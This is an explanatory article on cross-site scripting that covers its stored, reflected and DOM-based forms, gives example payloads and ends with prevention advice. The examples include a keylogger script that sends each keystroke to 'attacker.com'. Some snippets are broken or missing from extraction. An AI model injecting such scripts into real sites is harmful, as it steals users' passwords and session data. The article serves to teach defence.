What Is Cross-Site Scripting Attack Examples?


Angela Bailey

What Is Cross-Site Scripting Attack Examples?

Cross-Site Scripting (XSS) is a type of security vulnerability that allows attackers to inject malicious scripts into web pages viewed by unsuspecting users. These scripts can be used to steal sensitive information, such as login credentials or personal data, manipulate website content, redirect users to malicious websites, or even take control of their accounts. XSS attacks are a significant threat to web applications and can have severe consequences if not properly mitigated.

Types of Cross-Site Scripting Attacks

There are three main types of XSS attacks:

  • Stored XSS: In this type of attack, the malicious script is permanently stored on the Target server and then served to users whenever they access a specific page or view certain content. This makes it particularly dangerous as it can affect multiple users over an extended period.
  • Reflected XSS: Unlike stored XSS, reflected XSS attacks don’t persist on the Target server.

    Instead, the attacker crafts a specially-crafted URL or input field payload that is then reflected back in the response page. When an unsuspecting user clicks on the manipulated link or submits the form, the script gets executed in their browser.

  • DOM-based XSS: This type of attack exploits vulnerabilities in client-side scripts rather than traditional server-side vulnerabilities. The attacker manipulates the Document Object Model (DOM) of a web page by injecting malicious code that gets executed by client-side scripts.

XSS Attack Examples

Here are some common examples that demonstrate how XSS attacks can be carried out:

1. Alert Box Popup

An attacker may inject a script like the following into a vulnerable web page:

  alert('Your account has been compromised!');

When a user visits the compromised page, they will be greeted with an unexpected alert box containing the attacker’s message. This can be used to trick users into revealing sensitive information or downloading malware.

2. Cookie Theft

An attacker can inject a script that steals a user’s cookies, which often contain valuable session information:


By utilizing this code, the attacker redirects the user to their own website while also sending their cookies as part of the URL. The attacker can then capture and exploit these stolen session cookies to impersonate the victim on the Target website.

3. Defacement or Content Manipulation

In this scenario, an attacker modifies the content of a vulnerable web page to display unwanted or malicious content:

  document.body.innerHTML = '

This website has been hacked!

'; </script>

The above script replaces the entire content of the page’s body with a custom message. This defacement technique can cause reputational damage to organizations and negatively impact user trust.

4. Keylogging and Data Theft

An attacker may inject a script that captures keystrokes entered by users on a compromised website:

  document.onkeydown = function(e) {
    var key = String.fromCharCode(e.keyCode);
    new Image().src = 'https://attacker.com/log.php?k=' + key;

Each keystroke is sent to the attacker’s server, allowing them to record sensitive information such as passwords, credit card details, or other confidential data.

Preventing XSS Attacks

To mitigate the risk of XSS attacks, it is essential to follow secure coding practices:

  • Input Validation and Sanitization: Validate and sanitize all user input before displaying it on web pages or storing it in databases. This helps prevent malicious scripts from being executed.
  • Context-Aware Output Encoding: Encode user-generated content based on its context (e.g., HTML, CSS, JavaScript) to ensure that special characters are treated as literal text rather than executable code.
  • Content Security Policy (CSP): Implement a strict CSP that restricts which sources can be loaded by a web page.

    This can help mitigate the impact of XSS attacks by blocking unauthorized scripts.

  • Regular Security Updates: Keep web applications and frameworks up-to-date with the latest security patches. Many vulnerabilities leading to XSS attacks are often patched in subsequent releases.

In conclusion, understanding cross-site scripting attack examples is crucial for both web developers and users. By implementing proper security measures and staying vigilant, we can reduce the risk of falling victim to these stealthy attacks.

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